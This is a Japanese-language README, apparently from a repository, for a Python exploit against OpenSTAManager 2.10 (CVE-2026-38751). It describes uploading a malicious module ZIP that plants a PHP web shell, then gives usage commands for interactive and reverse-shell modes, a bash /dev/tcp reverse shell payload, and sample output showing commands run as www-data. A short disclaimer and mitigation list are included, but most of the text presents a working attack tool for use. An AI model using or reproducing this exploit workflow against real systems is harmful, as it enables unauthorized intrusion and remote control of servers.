OpenSTAManager RCE エクスプロイト (CVE-2026-38751)

概要

このPythonスクリプトは、CVE-2026-38751として識別されたOpenSTAManagerバージョン2.10のリモートコード実行の脆弱性を悪用します。このエクスプロイトにより、認証されたユーザーは悪意のあるモジュールをアップロードし、ターゲットシステム上で任意のコマンドを実行できます。

脆弱性詳細

CVE ID: CVE-2026-38751
製品: OpenSTAManager
バージョン: 2.10
タイプ: リモートコード実行 (RCE)
攻撃ベクトル: Webベース、有効な認証が必要

エクスプロイトの仕組み

エクスプロイトは以下の手順で動作します:

認証: 提供された認証情報を使用してOpenSTAManagerアプリケーションにログインします
アップデートの有効化: エクスプロイトに必要なモジュール更新機能を有効化します
悪意のあるZIPの作成: 以下の内容を含むZIPファイルを生成します:
- モジュール定義ファイル (MODULE)
- GETパラメータ c を介してコマンドを実行するPHPシェルスクリプト (shell.php)
モジュールのアップロード: モジュール更新インターフェースを通じて悪意のあるZIPをアップロードします
エクスプロイトの検証: シェルがアクセス可能で機能することを確認します
コマンドの実行: 以下のいずれか:
- 手動コマンド実行のための対話型シェルモード
- 永続的な接続を確立するリバースシェル接続

前提条件

Python 3.x
必要なPythonパッケージ: requests, zipfile
OpenSTAManagerの有効な管理者認証情報
ターゲットシステムへのネットワークアクセス

使用方法

基本的な使用方法

python3 exploit.py -u http://target.com -U admin -P password

対話型シェルモード

python3 exploit.py -u http://target.com -U admin -P password --interactive

リバースシェルモード

python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444

引数

技術的詳細

エクスプロイトプロセス

認証: スクリプトはアプリケーションの認証エンドポイントにログインリクエストを送信します
モジュール更新の有効化: モジュール更新機能を有効にするためにPOSTリクエストを送信します
ZIPの生成: 以下の内容でZIPアーカイブを作成します:
- shell/MODULE: モジュール設定ファイル
- shell/shell.php: GETパラメータ c で渡されたコマンドを実行するPHPウェブシェル
アップロードプロセス: マルチパートフォームデータを使用して、悪意のあるZIPをモジュール更新エンドポイントにアップロードします
検証: idのような簡単なコマンドを実行してアップロードしたシェルが動作していることを確認します
コマンド実行: 対話型シェルを提供するか、リバースシェル接続を確立します

使用されるペイロード

エクスプロイトは複数のリバースシェルペイロードを試みます:

Bashリバースシェル: bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
Pythonソケットを使用したリバースシェル
Base64エンコードされたbashペイロード
Netcatリバースシェル

セキュリティ上の考慮事項

⚠️ 免責事項: このエクスプロイトは教育目的および許可されたセキュリティテスト目的のみに使用することを意図しています。

リスク評価

この脆弱性により以下が可能になります:

Webサーバーユーザーとしての任意のコード実行
権限昇格の可能性
システムに保存された機密データへのアクセス
ネットワーク内でのラテラルムーブメントの可能性

緩和策

この脆弱性から保護するには:

OpenSTAManagerを最新バージョンに更新する
適切な認証制御を実装する
ファイルアップロード機能を制限する
不審なアクティビティを監視する
ネットワークセグメンテーションを適用する

出力例

[ OpenSTAManager RCE Exploit : ]

ターゲット: http://target.com
[*] ステップ 1: ログイン中...
[+] ログイン成功: admin
[*] ステップ 2: アップデート有効化中...
[+] アップデート有効化
[*] ステップ 3: ZIP作成中...
[*] メモリ内ZIPファイルを作成しました
[*] シェル位置: /modules/shell/shell.php
[*] ステップ 4: アップロード中...
[*] アップロードステータス: 200
[+] アップロード成功
[*] ステップ 5: 検証中...
[+] 脆弱性確認完了!
[+] シェル: http://target.com/modules/shell/shell.php
[+] テスト: http://target.com/modules/shell/shell.php?c=whoami

[*] 対話型モードに入ります...
cmd> whoami
www-data
cmd> exit

参考文献

ライセンス

このエクスプロイトは教育目的のみで提供されています。あなたが所有していない、または明示的なテスト許可を得ていないシステムに対する無許可の使用は違法です。

`-u`, `--url`	ターゲットURL（必須）
`-U`, `--user`	認証用ユーザー名（必須）
`-P`, `--password`	認証用パスワード（必須）
`--interactive`	対話型シェルモードに入る
`--no-cleanup`	実行後にシェルファイルを削除しない
`--lhost`	リバースシェル用のローカルホスト
`--lport`	リバースシェル用のローカルポート

人気

OpenSTAManager_RCE_Exploit-CVE-2026-38751-